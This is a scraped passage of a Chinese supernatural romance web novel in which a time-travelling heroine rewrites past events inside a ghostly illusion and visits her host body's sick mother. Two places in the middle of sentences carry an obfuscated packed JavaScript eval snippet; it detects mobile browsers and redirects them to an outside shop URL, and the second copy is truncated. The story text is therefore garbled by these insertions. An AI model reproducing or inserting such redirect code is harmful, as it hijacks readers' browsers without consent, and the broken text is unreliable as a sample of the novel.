贺砚清换了个姿势,左手支颐,目光柔和看着黎秋又。 “会。” 黎秋又“咕”一下,吞下一整颗馄饨。 “逗你的,不会饿。”贺砚清的视线一眨不眨停在黎秋又脸上。 “好了,安静吃饭,顺便想想刚才要回答我的问题,回答了就可以好好休息了。” 黎秋又想,就算再给她一天的时间,她也未必能想好这个问题到底要怎么回答。 “很重要吗?” 贺砚清神色不变,“嗯。” 鬼打墙的幻境里,鬼怪都按部就班重复自己生前做过的事情,而黎秋又进入这里面,她有了能够修改原来剧情的金手指。 这件事情告诉贺砚清,黎秋又觉得并没有什么重要的,对于贺砚清来说,当年的事情都已经发生过了,是过去的事情,改不改变又如何呢。 只是对于黎秋又很重要,毕竟她没有经历过,并且现在正在经历,很有可能还会遇到对自己不利的,如果剧情进行到乔挽云当年死的时候,黎秋又是不是会跟着乔挽云的经历,就这么去了。 “乔……我当年是怎么死的?” 贺砚清抬起了头,黎秋又在椅子上站起来了,撑着桌子,靠近贺砚清,贺砚清把她按回去,隐藏眼底神色,“先吃饭,然后再回答我的问题,你的问题,我最后告诉你。” 黎秋又几大口吃完,又“咕咚”把汤也喝完,随手从口袋里掏出来贺砚清给她的手帕擦了擦嘴。 “那你先答应我,我说什么你都别杀我。”黎秋又觉得自己真是吃饱了脑子也不好使了,贺砚清真要杀她的时候,承诺了有什么用呢。 “我答应你。” 贺砚清说着,双指并拢,从屋外勾了个东西进来,黎秋又看见贺砚清指尖跳着一张金色的符纸,接着就 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横竖躲不过去了,黎秋又挑挑拣拣,跟贺砚清讲自己如何莫名其妙到了这一处,如何又出现在了轿子里,还被外面吃人的鬼怪吓个半死,进来以后又听说少爷也吃人,另外半死也吓出来了。 她讲着讲着,自己就趴在桌上,实在掀不开眼皮了。 “阿云,去床上睡。”贺砚清轻着声音唤她。 黎秋又还强撑着,闭眼说:“不行啊,我还没洗漱呢。” “那我给你讲故事,你先别睡。”贺砚清把人支起来,手撑着她的脸。 不知道他操作了什么,果然就立即有丫头端着热水来敲门,贺砚清叫人把水盆放在桌上,撤走刚才黎秋又吃的汤碗。 黎秋又手都没力气撑脑袋了,干脆就仰过去,睫毛颤了颤,示意贺砚清可以讲了。 贺砚清一只手在盆里洗了洗帕子挤干,站在黎秋又身前去,亲手用帕子在她脸上擦。 像是等着做这件事很久很久了,又像是熟练得这件事总是他做似的,贺砚清一手捧着黎秋又的脸,一手用拇指顺着眉,往两边擦。 一沾水,黎秋又立马清醒,夺过贺砚清手里的毛巾,自己胡乱洗了一把,起身蹬掉鞋子,卷起打底裤腿,走到屋外去,用盆里的水洗了个脚。 打着光脚,冻得她跳着进来,然后立即钻到床上去了,“你不睡觉吗?或者,你想睡在我这里吗?我这只有一个被子,打地铺也不方便。”她说着说着又没声了。 贺砚清走过来,坐在床边,为她掖了掖被子,在她身侧轻轻拍了拍,“睡吧。” “很多年前,有个女孩,穿着背带裤小皮鞋,像个假小子,在终虎山的地仙庙后面躲着,拽着旁边的小男孩,说这里以前是土匪窝,准备带着小男孩进去探险。” 黎秋又:“……” 她已经睡到沉得不能再沉了。 终虎山自从当年剿匪过后,这上面就彻底没有人了,直到许多年过后,土匪的风头已经过了,很多人才把山上当成了一处避暑的地方,去游玩,去赏景。 这时候乔挽云随母亲刚从北方来到南都找父亲,很早之前父亲就说过参军剿匪,再后来父亲失联后,来到南都的乔挽云就总要跑来终虎山看看。 地仙庙的背后有个小坡,那时候的乔挽云个头小,躲在后面刚好把整个身子挡住。 她像话本子里的特务一样,背对着小坡,谨慎地盯着外面来来回回的人群,假设那些都是敌人。 身前突然站了个小男孩,正一脸莫名其妙地盯着她,她一把将人拉到自己背靠的坡上,把人按在上面,捂住他的嘴,“小心,这里有危险。” 23. 第 23 章 这时候的贺砚清其实很不满意眼前这个小女孩的举动。 自己的父亲是赫赫威名的剿匪将军,曾将这里盘踞已久的匪窝一锅端了,还山下百姓的安宁生活。 已经多少人没有在他们面前说过这里有坏人了。 女孩煞有其事地双手比成枪,靠在小坡后,突然一个马步扎出去,嘴里不停“突突突”。 只比女孩高半个脑袋的贺砚清泄一口气,翻了个白眼。 “我爸爸是将军,你知道吗?”小女孩对贺砚清说。 贺砚清冷笑一声,“你爸爸是将军,那我爸爸是什么?” “你爸爸是土匪?” 贺砚清扭头就走。 “哎哎哎,你等等,你见过我爸爸吗?他很早之前在这里剿匪。” 小女孩眼神中装满了雾山的晨露,清澈又……愚蠢。 “应该是死了。”小小的贺砚清异常冷漠。 当年剿匪死伤无数,连自己的父亲都伤重许久才恢复过来,否则一个将军怎么能是这么好当的。 “哦。”小女孩并没有表现得很悲伤。 小贺砚清:“哦?你不难过吗?” “不难过,妈妈说,为国捐躯,为百姓战死,是男子汉大丈夫最光荣的死法,他是英雄。” “我们只是想找回爸爸的遗体,好让他入土为安。” 背带裤小女孩假小子一样,将手上的“枪”,“咔咔”两下卸了“弹匣”,揣进了腰间,然后跳出小坡,钻进了上山下山的人群之中。 贺砚清回去问了自己的将军父亲,当年那些战死的士兵埋在了哪里。 父亲说,就在终虎山上,他们是烈士,日后要在山上修建陵园,告慰英灵。 “已经过去八年了,陵园什么时候开始修建?”贺砚清头一次对父亲提出这样的质问。 贺振江皱着眉赶走了贺砚清,“大人的事情少操心,你最该干的事是继续将满分成绩带回来,给老子省税!” 乔挽云的母亲带着她在山上找了几天,没看见任何墓碑,也没有什么土堆,更没有暴露在外的尸首。 她们存了很久的钱,包含了从北方过来的路费,还有在这里免不了的上下打点费用。 母亲干脆在这边租了一间房住下,先让乔挽云上着学,自己再去打听。 时间久了,乔挽云就问母亲,是否还要在这里住很久,她已经开始想念北方的同学朋友了。 母亲总是叹气,“我准备继续做手工活,你安安心心在这里上学,爸爸的事情,我去操心就是了。” 乔挽云很喜欢妈妈做的手工,她做手工活很有一套,可以用毛线钩织毛衣毛裤,鞋子,甚至小饰品都可以做,能用来卖钱。 去上学时,乔挽云挎着妈妈做的布包,上面挂着一只毛线小猫,脑袋上编的辫子也是用妈妈做的毛线发卡,班里的孩子喜欢得不得了,从她这里要买她妈妈做的小玩意儿。 乔挽云自豪地跑回家,叫妈妈做这些东西,又用比妈妈在外面卖的还要高的价格卖出去,甚至能把自己学费都挣回来,乔挽云每天的生活不亦乐乎。 她性子开朗,走到哪里都能迅速跟朋友们玩到一起,很快她就不再问妈妈什么时候回去了。成日就是无忧无虑地玩,学习,卖饰品。 乔挽云并不能很灵敏地感受到妈妈的情绪变化,太过于粗的神经让她经历了很长一段无忧无虑的时光。 直到有一天家里来了个神秘的男人,和妈妈在屋里聊了很久,她被赶出去玩了,回到家以后,只看见妈妈红着双眼,一言不发。 她一时间不知所措,走到妈妈身边,用瘦小的胳膊去搂她。 “是爸爸的消息吗?”乔挽云小声问。 妈妈伸手把她拥进怀里。 “妈妈不是说,爸爸是英雄,就算死了,也是光荣的。” 妈妈原本只是红着眼,听了她这句话,却放声哭了出来。 乔挽云这年十六岁了,已经出落成大方可爱的大姑娘,邻居家的哥哥从小跟在她身后当跟班,那时候便说要娶了乔挽云当媳妇。 这件事以后,妈妈也有意无意提起有这方面的意思,没过多久,她就病倒了。 乔挽云想带妈妈去医院,但妈妈固执要看中医,大夫给她开了些疏肝解郁,健脾养血的药,说是需要好好养着。 这样在家里一病就是大半年,妈妈仍然在做手工,让乔挽云拿出去卖。 这远远不足应对如山倒下来的病症。 有一天,妈妈吐了血,乔挽云吓到脸都白了,她跑去隔壁敲门,酸着腔调说妈妈吐血了。 宋铭拍拍她肩膀,就赶紧跑过去,背起妈妈就去了医院。 这个夜里,他背着妈妈跑了半个多时辰,乔挽云在后面跟着都快跑不动了,喘着大气,妈妈在宋铭的背上拍着他说:“别急,好孩子,妈妈没事。” 乔挽云已经不能细思妈妈话里的意思,她一边哭一边喘,“妈妈你别说话了。” “别说话了,你一直在流血。” 黎秋又醒来,眼角都是泪。 眼前的台词被泡在盈盈泪光里。 【孟春之际,乔挽云母亲病情加重,宋铭在床边侍奉,乔挽云赶到医院见其最后一面。】 黎秋又猛地从床上弹起来,惊愕道:“又穿越了!” 睡的时候还是冬天,醒来竟然就已经春天了! 没礼貌的唐约依旧没礼貌,从屋外一脚踹开她的门,直闯了进来,两步跨到黎秋又面前,拽着她衣领,“廖欢呢?” 黎秋又听得莫名其妙,一手向后撑着床板,另一手就推开了唐约,力气大得她都被惊到了。 “神经病啊一大早发疯。” 黎秋又不理她,第一要事,当然是改剧本。 眼角的泪还腌得她生疼,她赶紧把“最后”两个字擦掉,改成了“快乐”。 这样应该不会死了吧…… 她没管唐约,在床边发现一套叠整齐的衣服,应该是贺砚清安排给她的,是一身水粉色长裙,像和她刚来的时候坐在轿子里那身旗袍颜色相似。 黎秋又瞥了唐约一眼,也没什么好避开的,就在她面前换起了衣服。 唐约坐到昨晚上黎秋又和贺砚清吃馄饨的那个桌上,撇开脑袋。 等黎秋又换好衣服,随手扎了个低马尾,也去那桌边坐下,唐约才又问一遍:“你把廖欢弄哪去了?” 黎秋又白她一眼,“你把人交给我了吗?跑来找我要人,有没有搞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16798757|189106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 错!” 唐约双手抱了抱胸,薄唇紧抿,好一会儿,“她不见了。” “……” 黎秋又鼻孔出气。 “在幻境里就不见了。” “……”黎秋又冷哼,“所以幻境里那人看我跟看陌生人似的,果然是你本人?” “是,”唐约一只手握着拳,轻轻在桌面上锤了一拳,“我们一不小心进了土匪窝,我被留下当压寨夫人,换了她出去找你来救我。” 她简要把当时的事情讲了一遍。 黎秋又:“然后她一去不返了?” 唐约没说话,默认了。 黎秋又嗤笑:“你那么对她,民国时期的丫鬟都没她憋屈,要我,我也跑。” “你懂什么!”唐约嗓门又大起来。 门口出现一人影,往里面望了眼,连忙跑进屋里,拦在黎秋又身前,护小鸡似的,“你这个凶女人干什么吼我嫂子!” 黎秋又好像很长时间没有看见贺尧了,原本担心他的能力失效,又傻不愣登的,被鬼怪发现后拆吞入腹了呢,现在看见他倒放了些心,把他往旁边拉了一下,让他坐在自己身边的凳子上。 “吃饭了吗?” 贺尧噘嘴委屈,“昨天找不到你们,我找到了厨房,有个大叔给我吃了东西,今天早上那两个哥哥又给我找了吃的。” “吃了就好。”厨房里除了老张也没“人”能看见他了,还好,傻子虽傻,还知道不让自己饿肚子。 唐约不屑理会贺尧,生满肚子气,又无可奈何,“我们之间不是你想的那样,总之,还是要帮我找找她。” “求人帮忙就这个态度?” 黎秋又并不是咄咄逼人的性子,就是唐约从一开始就不怎么看得起她,准确来说,唐约谁也看不起,她不太喜欢这样的人。 “求你了!”唐约站起来对黎秋又大喊。 黎秋又:“我真想笑,唐约,你不觉得你很好笑吗?” 唐约别开脸,贺尧在旁边气呼呼地喊:“好笑!” “还有你,”黎秋又转过脸问贺尧,“你这么一大早,吃过饭了就找地方睡觉去,跑来找我干什么?” 贺尧老实地说:“管家让我保护好你,寸步不离。” 黎秋又:“呵呵。” 黎秋又:“你不气死我,我都要去管家那里夸夸你了。” 贺尧把电话手表掏出来,在上面点了两下,那遥远的声音传了过来,“保护好你嫂子,回来以后奖励你吃两顿大块红烧肉。” “红烧肉还需要奖励才能吃?”唐约震惊,这是什么家庭? “等等,这是重点吗?”黎秋又从座位上起来,到贺尧身边,把他的手扯过来,看那条信息。 “你是什么时候跟管家联系的?”黎秋又问贺尧。 “昨天啊。” “昨天?!” “昨天?!” 黎秋又和唐约仿佛看见了离开这里的希望。 两人赶紧操作贺尧的电话手表,将电话拨出去。 果然能通! 【嘟……】 响了一会儿,那边竟然真的通了,管家沉着的声音传来,“喂?” 黎秋又和唐约都想哭了! 24. 第 24 章 “喂?” 黎秋又迅速说出自己的诉求:“管家吗?我是黎秋又,我们现在……” ——空气霎时归于宁静。 什么也没有了。 三对儿大眼愣愣盯着那一小块黑屏幕。 黎秋又拍了拍他的电话手表,“坏了?” “没电了。”贺尧平静地说。 “……” 唐约从两人身边一屁.股坐回椅子里,像是气不打一处来,一直喘大气,“活路都被你们走死了。” “你生什么气?没有我们你是不是连活路都看不见?”黎秋又呛她,果然就算是长得漂亮的人,她也不能很包容。 “没吃饭,饿得生气。”唐约靠坐凳子里,脑袋偏到一边去,气鼓鼓的。 她坐着讲话也中气十足的,饿了也这么有劲儿,黎秋又觉得她台词功底一定不错。 “哼。” 她也气也急,但好歹现在他们能确定,自己仍然还在以前那个时空,并没有穿越,这说明总有办法出去的。 “十六太太睡醒了吗?”屋外有人远远地问。 黎秋又走去门口迎,“是张叔来了。” 张问钦一副敦厚模样,穿着厨子的工作服,白色围裙让他看上去更圆滚滚得可靠,他拎着食盒走进屋里来,一直没有抬头来四处望。 他放下食盒,端出里面的馄饨,又把食盒盖子盖上就要走人,黎秋又追出去拦住他。 “张叔,我可以问你一些事吗?” 老张仍然低着头,“十六太太有话吩咐一声就行。” “张叔,”黎秋又压低声音靠近他,“我们在坐三个都是人,你别怕。” “十六太太说笑呢,谁也不是畜生啊。” “张叔!你知道我的意思。” 老张还是那副样子,他说:“我在这就是个厨子,横竖都是在老爷太太的手底下做事,断然不敢做出逾矩的事情。” 他说完走了,黎秋又独自站在那里,把这句话消化了半天。 “他肯定知道些什么。”唐约站在她身边来。 黎秋又问:“你觉得他这样是为什么?” “很简单,我们都在老爷太太眼皮子底下呗。”唐约蛮不在乎地耸肩。 黎秋又却忧心,那贺砚清呢?他也是这种“监视者”的一员吗? “你不是饿了吗?快去吃啊你。”黎秋又赶走唐约。 “对不起。”唐约小声嘀咕一句,转身回了屋子,大.波浪长发一扫,甩着骄傲的风。 “嘁”黎秋又嗔她一声。 老张好像一早就知道这里会有两个人吃饭,准备的两碗馄饨,黎秋又坐到唐约对面,问她:“怎么回事?” 唐约抬眼瞧她:“吃完再说。” 贺尧捣鼓了半天手表,没整出什么名堂,他坐到黎秋又旁边来,对黎秋又讲悄悄话。 “昨天你们都走了,就剩我一个人,我听到那个怪物跟丫鬟说,去山上看看人死透了没。” 臭小子,不鸣则已,黎秋又琢磨,“山上?”这里最近的山就是终虎山,她下意识想到,二太太处理的应该是那晚替死的男人。 隐约觉得还是哪里不对,还没思考明白呢,唐约放下汤匙,起身就走,只丢给黎秋又一句话,“我去山上看看。” “你怎么听风就是雨的,不找你经纪人了?” “要找,但这个人更重要。”唐约粗犷的声音越来越远。 随她去吧,黎秋又更惦记乔挽云的妈妈有没有事,她急于求证自己改的剧本是不是真的能改变过去的人的命运。 昨晚与贺砚清的对话仿佛还在进行,贺砚清不停地问她,是否真的能改变结局。 黎秋又不知他说的是什么意思,但自己确实能改变一些事,只小心点点头,再后来,睡着了,也不知道贺砚清是什么时候离开的。 到现在她还没见到贺砚清,现在赶紧随意扒拉两口馄饨,喝几口热汤,就随意捆了捆头发,去找贺砚清。 兢兢业业的小跟班贺尧现在说什么也赶不走,非要跟在她身后。 想到之前贺尧总误事,黎秋又不得不一路上不停地叮嘱他,不论黎秋又做什么说什么,都不可以干涉。 奇怪的是,这次他竟然很听话,连连点头答应,“嫂子你放心,我一定不乱说话。” 黎秋又心道,原来在他这,管家的话比谁都好使。 她本无意乱跑,只是经过前院,鬼使神差地,她想要从前面绕一圈,又瞧见主院那棵榕树上,像是有两颗红色果子,她好奇靠近,便听见屋内传来打麻将的声音,又才发现果子是从墙头翻过来那棵海棠树上的。 她靠在树下蹲着,仔细听麻将桌上的声音,自动忽略掉“吃”“碰”的字眼。 “许太太,你家那个新来的这么多天了怎么也没作妖啊?” “嘁,谁说没有,你不晓得啊,那小妮子,主意都打到少爷身上去了,南都城里谁不知道,将军府新来的小姨太太天天去土木司找贺少爷。” 二太太的声音尖锐响亮,麻将块儿狠狠在桌面上一拍:“杠!” 这一块儿小东西的阵仗跟惊堂木似的,震得满座霎时没了声。 但屋外却是一阵惊呼,“啊!” 二太太赶紧从座上起身,跑到院内,一眼就看见了跌坐在树脚边的黎秋又,她大喊:“乔挽云,你没事在这大呼小叫什么!” 她倒是没有责怪黎秋又听墙角,又见黎秋又吓得都快哭了,靠近她,又问一遍:“到底怎么了!” 黎秋又颤着手,晃晃悠悠,指向自己对面。 她本就怕水,坐在树边,尽量离水塘远些,再加上刚才在偷听,耳朵偏向主屋,视线就不自觉停在了对面的那水潭边。 她的视线并没有聚焦在什么东西上,只是发着呆,在二太太那一声惊堂木时,恰好水中有了动静。 她只看见从水下慢悠悠地,爬上来一只鞋子,接着,第二只鞋子也爬了上来,那双鞋子湿漉漉站在那里,不停地渗水,打湿了地面。 就像是有人站在那处,正从身上滴水下来是的,没一会儿就湿了一大滩。 然而那里只有一双鞋。 一双红色的鞋,大概是布鞋或是绣花鞋,鞋尖朝着黎秋又,她庆幸自己近视,看不清晰那个鞋的形状。 这个水塘,正是当日打捞出那具戏子尸体的地方。 二太太顺着黎秋又指的方向看过去,又腾起怒意,带着人走到那双鞋面前,红色的绣鞋仍在滴滴答答往外渗水,打麻将来的太太们吓得花容失色,纷纷告别。 “我想起来约了个托尼做发型,先走了哈。” “哦对了,我还约了裁缝上门呢,走吧走吧。” “哎哟真是吓死人了,走了走了。” 但围在二太太身边的人害怕,又不敢走,颤颤巍巍往后缩。 “怕什么?一双鞋子你们就成了这样?”她随机点兵:“你,去找个东西来把这双鞋包起来。” “你,下水里去看看,什么人在装神弄鬼。” “啊?这……”那小厮退缩,二太太一脚把他踹了进去。 “噗通”一声,小厮在里面扑腾起几丈高的水花。 府里的水潭都不深,就是怕有人失足落水,所以戏子死在水里,已经叫府里的人对这些水潭都生出了一层恐惧。 黎秋又仍坐在树下,视线紧紧盯着那只鞋,不敢挪开,深怕一个走神,那双鞋就自己走到了她面前来。 乱七八糟的脚杆立在那边,缝隙里,黎秋又察觉到那双鞋好像动了一下。 这时候的感觉就像那晚,从水中捞出的尸体,空洞的眼神直愣愣盯着她。 那双鞋像长了眼睛似的,黎秋又觉得它就是在看她。 二太太分给她一丝视线,又骂一句“怂包”。 是不是怂包,黎秋又可太清楚了,她心底里漫上来的强烈恐惧,就如同……不是她的情绪一般。 她直觉这是乔挽云的恐惧。 在乔挽云冲喜的婚礼上,死去了一个戏子,在许久之后,这个戏子的鞋又出现在水里。 很难说这些事情不是因为乔挽云才发生的。 去人堆里凑完热闹回来的贺尧蹲在黎秋又旁边,说:“这个鞋不好看。” 她懒得理贺尧。 “一点也没有你结婚那晚上穿的好看。” “小嘴巴,请闭好。”黎秋又擦掉冷汗稍微蹲起来点。 她又问贺尧:“那个水深能淹死人吗?” 他煞有其事地像大人一样思考,“淹死人可以,淹活人不行,活人会从里面跑出来。” 黎秋又:“……” 她本就怀疑二太太,现在更是有些笃定了,或许,或许在她之前的姨太太消失的原因都与二太太有关。 人群中,有小厮去找了一副带有锁扣的盒子,几人你推我搡地上前去把那双鞋往盒子里放,小厮刚拿起来,又滋里哇啦把鞋丢开,一不小心鞋又掉水里。 二太太把这小厮也踢了下去。 刚开春,水也很冰,两人站在水里,伸出半截身子,不敢上也不敢下。 二太太掀开几个人,自己上手去把那双鞋一把抓过,放进盒子,上好锁扣,一气呵成。 黎秋又悄悄沿着墙根离开。 一群鬼,怕鬼,呵…… 大摇大摆的贺尧让她恨的咬牙,黎秋又却猫着腰,尽量掂着脚走,走着走着就跑起来,跑着跑着就撞进了一个宽阔冰凉的胸膛。 她抬眼,竟是贺振江! 贺尧站到一边去,嘴巴闭得死紧。 好啊,这个时候倒是听话了。 黎秋又连退五六步,差点要下跪。她这一眼,与幻境中许清秋看见的那一眼几乎重合,眼前这个男人,她为自己先前的眼拙后悔。 他一点也不温润,不优雅。 “乔儿果然是我们府里最鲜活的宝贝,在这也能撞我怀里。”他穿着黑色披风斗篷,身上除了寒意,还有血腥,应是才从外面回来,笑得低沉。 他向前走几步,要把黎秋又扶起来,黎秋又却真就跪了下去。 ……这回不能赖乔挽云了,这真是她腿软,刚才猫着腰走路腿本来就酸。 “父亲这是在做什么!”贺砚清也从门口回来,黎秋又老鼻子一酸,救星啊救星。 贺振江的手僵在了那里。 黎秋又不敢忘自己身份,低了低脑袋,“少爷。” 贺砚清冲进来把黎秋又扶起来。 “乔小姐不是要去看母亲吗?先去吧。”贺砚清对黎秋又说,但视线却一直盯着贺振江。 “啊?”她是要去看但不知道在哪里啊,她需要贺砚清带她去。 贺砚清只是丢给她一只钱袋子,也不看她,“父亲,借一步说话。” . 黎秋又第一次坐了“人”力黄包车,没有任何减震装置的车颠得她屁.股发麻。 青天白日,街道上还有少许烟雾弥漫,报刊边有人坐着阅报,黎秋又叫停了黄包车,也买了一份报纸看。 身后跟着一辆空黄包车,车夫并没有提出疑问,有这样奇怪要求的顾客不少,只要能赚钱,要他拉空车又算什么事。 贺尧坐在上面,车夫仍旧跟拉空车似的毫不费力。 这座熟悉的城市,自百年后来的黎秋又还是能从现在看到多年后的影子,譬如那座钟楼,还有小广场中心的一棵华冠如盖的老树,日后没有了广场,这棵老树却还在。 她手中虽然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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宋铭笑得温和,只要曾慧雯病情能好转,心情好,无论什么都应该先瞒着。“曾阿姨,挽云还小,还有大千世界可以去看呢。” 而他,非常清楚自己,现在已经配不上乔挽云了,哪怕乔挽云从将军府出来,哪怕她不再是完璧,他宋铭都没办法配得上乔挽云了,自从开始沉迷福.寿.膏。 “哎,真是好孩子,处处为我和挽云着想。你最近怎么了,是生病了吗?看上去越来越瘦了。” 何止是瘦,连他为曾慧雯捏腿,他都能感觉到自己力气大不如前。 每天早上出门,他都需要用雪花霜遮一遮自己怎么也祛不掉的眼底乌青。 黎秋又站在门口,压低声清了清嗓子,又理了理衣服,今天穿的裙子端庄大方,小皮鞋在下车时不小心溅了滴泥水在上面,她弯腰去用手帕擦了擦。 一会儿可别用这个手帕再擤鼻涕了,黎秋又这么提醒自己。 二十三年没见过娘,现在她心跳都要蹦出来,比找对象还紧张,一手抱着鲜花和一兜橘子,另手在门把上握了又松开,这时候身后一阵清幽的竹香侵过来,在她耳边低低一语:“我来了,别怕。”而后轻敲了三下门,得到里面的应声后,拉开了房门。 他先进了病房,黎秋又跟在了贺砚清身后,但进入病房后,他又退到旁边,让黎秋又站在了前面。 身后有个能说话的人,黎秋又靠近了曾慧雯,把花和橘子都放在旁边的桌上,在曾慧雯身边坐下来,轻喊了声,“妈妈。” 曾慧雯气色很好,看上去刚才笑过,黎秋又稍稍放下心,希望自己真的是改变了乔挽云母亲的结局。 曾慧雯看见她来,满眼的喜悦溢出眼尾,随后又看见了黎秋又身后的那张俊秀又养尊处优的脸。 她先对贺砚清打了招呼,“是贺少爷来了。” “妈妈,你认识他?” “我怎么不认识?你叫他来送了好几次钱了,妈妈又不是得了失忆病。”曾慧雯嗔她一眼。 黎秋又却将眼泪都酸出来了。 曾慧雯和别人不一样,她的眉目清晰,能看得出来年轻时很漂亮,是大方艳丽的北方姑娘长相,黎秋又感受到,乔挽云的记忆,将曾慧雯的面貌寸寸描摹刻进了心里。 如果自己的妈妈还活着,一定也是这样的。 “你这孩子,好端端的,哭什么呢?”曾慧雯白皙却带着厚茧的手指戳了戳她脑门。 宋铭在看见贺砚清和黎秋又后,将脑袋低着,悄悄缓缓地退出了病房,留她们母女叙旧。 黎秋又吸吸鼻子,问:“妈妈,最近医生有说你症状怎么样吗?” “好着呢,”她也没怎么表现得很久不见女儿的思念和不悦,反而拍了拍一直握着她手的黎秋又的手,对贺砚清说:“贺少爷过来坐着啊,站那做什么。” “谢谢阿姨。”他过来,坐在了黎秋又身侧。 曾慧雯本想他来坐到另一边的。 “你们今天怎么一起来了?” 贺砚清急切地抢答:“阿姨,乔挽云还没跟你说吗?我是她男朋友。” 黎秋又屁.股一紧,毛毛汗从尾巴骨窜上脑门。 两眼震惊,扭头看向贺砚清。 胡说八道什么呢! 贺砚清把手伸过来,握了握黎秋又还搁在自己膝上的手,一道声音传来,“让让我吧,这句话我等了一百年了。” 但他明明连嘴都没张开,他又松开了手。 黎秋又:“……” 贺砚清什么时候变成这样了? 男鬼的心思不可琢磨。 她的眼神和曾慧雯一样迷茫、震惊。 曾慧雯:“啊?” 黎秋又主动去抓上了贺砚清的手,在心里对他说:“原来还能这样私密传音?我这样说的话你能听见吗?” 贺砚清看了看黎秋又主动伸过来的手,又对曾慧雯笑笑,转过脸微笑着,像是不知道黎秋又为什么握他的手,偏着脑袋对黎秋又疑问:“嗯?” 25. 第 25 章 曾慧雯很感激宋铭,自从她们来到南都,住在这里之后,宋铭便时常上门来帮忙做些小活,也总喜欢跟乔挽云玩,虽说老是不吭不哈地跟在乔挽云身后,但是个老实孩子。 这次生病也全靠了他,否则乔挽云一个人会六神无主,茫然无措,他背着曾慧雯赶了半个多时辰的路到达医院,乔挽云从来没经历过这些事情,已经慌神只知道哭,一边擦她唇角的血,还是宋铭去找的医生,安排了住院,交了费用。 只是,她看见自己女儿和贺少爷手握着手。 “什么时候的事?”她把黎秋又拽近了些,小声问她。 “呃……就,前些日子。” “这么久没来医院看我,原来是谈恋爱去了?” 面对母亲的质问,黎秋又真有了一阵心虚的感觉。 她觉得黎秋又是害羞,两人到现在双手还握在一起,曾慧雯看着贺砚清面对黎秋又笑得一脸宠溺,也没有再刨根问底。 既然他们已经在一起了,两人之间亲昵得和与宋铭在一起时的感觉完全不一样,曾慧雯有些庆幸还没有酿成大错,耽误了女儿的终生幸福。 “我应该也算为你解围了,否则曾阿姨一定会想要撮合你和宋铭的。” 果然能传音,她握着贺砚清的手,听见了贺砚清跟她说的悄悄话。 确实啊,如果对方是宋铭,那个瘾君子…… 黎秋又道:“妈妈,我这不是第一时间就带着男朋友来见你了嘛,等你病好了,我们一起去吃大餐。” 曾慧雯戳黎秋又脑袋,“你们进展这么快?要父母见面吃饭了?” 她又对贺砚清说:“贺少爷是个好孩子,我虽见的次数不多,但也能看出来你是礼数周全的好孩子,你在土木司工作,是个稳定又踏实的岗位,如今世道不太平,如果前边打起来了,你要有能力带着挽云走。” “挽云的父亲不在,我一个人也不能太过草率,该有的三书六礼……” “哎呦!妈妈!”黎秋又打断。 贺砚清却笑笑,十分认真地回答:“阿姨放心,这些我都会准备,等着阿云愿意嫁我的日子,她现在可不想跟我讨论这些,她满心都是担心您的病情。” 曾慧雯着急,她知道自己没多少日子了,唯一的牵挂一定要好好安顿。 “对了,贺少爷的父母是做什么的?” 黎秋又:“!” 她握着贺砚清的手,“你别说,别说你爸爸是将军。” 贺砚清:“你都知道了?” 黎秋又不清楚自己做的梦是不是真的,那晚贺砚清给她讲故事,她只听了个模糊开头就睡过去了。 如果自己的梦,就是乔挽云的经历,那么乔挽云跟着妈妈来南都的目的就是找父亲,父亲是当年参与剿匪壮烈牺牲的英雄。 可是,他们进入了幻境。 当年那场轰动全城剿匪战斗,提拔了一个将军,还有许许多多的副将、军官,这么多年扎根南都,成为了整个南都的主心骨,相传死伤无数,实则没有耗费一兵一卒。 任谁也无法相信,可那么多前去剿匪但没有回来的士兵呢? 黎秋又他们还不能确定将军当年究竟是怎么做到的,这个或许可以去问问唐约。 贺砚清和将军的关系断然是不能告诉曾慧雯的,黎秋又很清楚曾慧雯是怎么病的。 如果她知道,贺砚清的父亲便是造成他丈夫死亡的罪魁祸首,她一定不会让乔挽云和他在一起的,或许还会生气,会难过,会加重病情! 贺砚清光明正大地捏了捏黎秋又的手指,温热,柔软,也只有这短暂的时间,贺砚清格外珍惜这个机会。 “我的母亲生我时难产去世了,父亲后娶了续弦,早些年外出打了一场仗,人没能回得来,是二妈妈靠做生意将我养大成人的。” 贺砚清也不算撒谎,在他的世界里,父亲就是跟死了没两样,也确实是二太太将他养大的。 “也是个可怜孩子。”曾慧雯慈爱地看着贺砚清。 她对身世可怜的贺砚清更有好感了。 离开医院时,黎秋又去问了医生母亲的情况,奇迹的是,她果然改变了母亲必死的结局,医生告诉她,再过段日子观察观察就可以出院了,她非常开心。 来时路上的云都被驱散了,黎秋又踏进光里的小皮鞋泛着和暖的光泽,她笑得开心,贺砚清提着她的手包,“见到妈妈这么开心,那以后就多来。” 空气都是甜的,黎秋又猛吸了几口,有史以来改剧本改得最爽的一次! “对了,出门时看你那么凶,不会是把你老爹揍了一顿吧?” 医院门口,黎秋又双手背在身后,靠近贺砚清小声问。 “我不想瞒你,但又担心你难过。”贺砚清垂眸看着黎秋又,黎秋又应该自己都忘了,他还握着她的手呢,贺砚清小心翼翼减小存在感,不动,让黎秋又不会注意到手上。 黎秋又挑眉,等他下文,他默了一会儿,“你父亲他,以及当年那些士兵,一共二十七人,确实都被贺将军陷害了。” 他都叫那家伙贺将军了,黎秋又抽出手,无所谓地摆了摆,“我当什么事儿呢,猜也猜到了,再说,你不是都说了我孟婆汤都喝了几轮了,怎么会还记得这时候的感情呢?” 刚才那阵灿烂的阳光被一层薄薄的云遮住,黎秋又瞧着似乎是有点阴了,但不碍事,她心情好,下雨也没事。 她准备拦黄包车,这才想起还有个贺尧。 在医院门口躺着晒太阳的贺尧被报纸搭着脸,听见黎秋又的声音赶紧弹起来,就见黎秋又和贺砚清在一起。 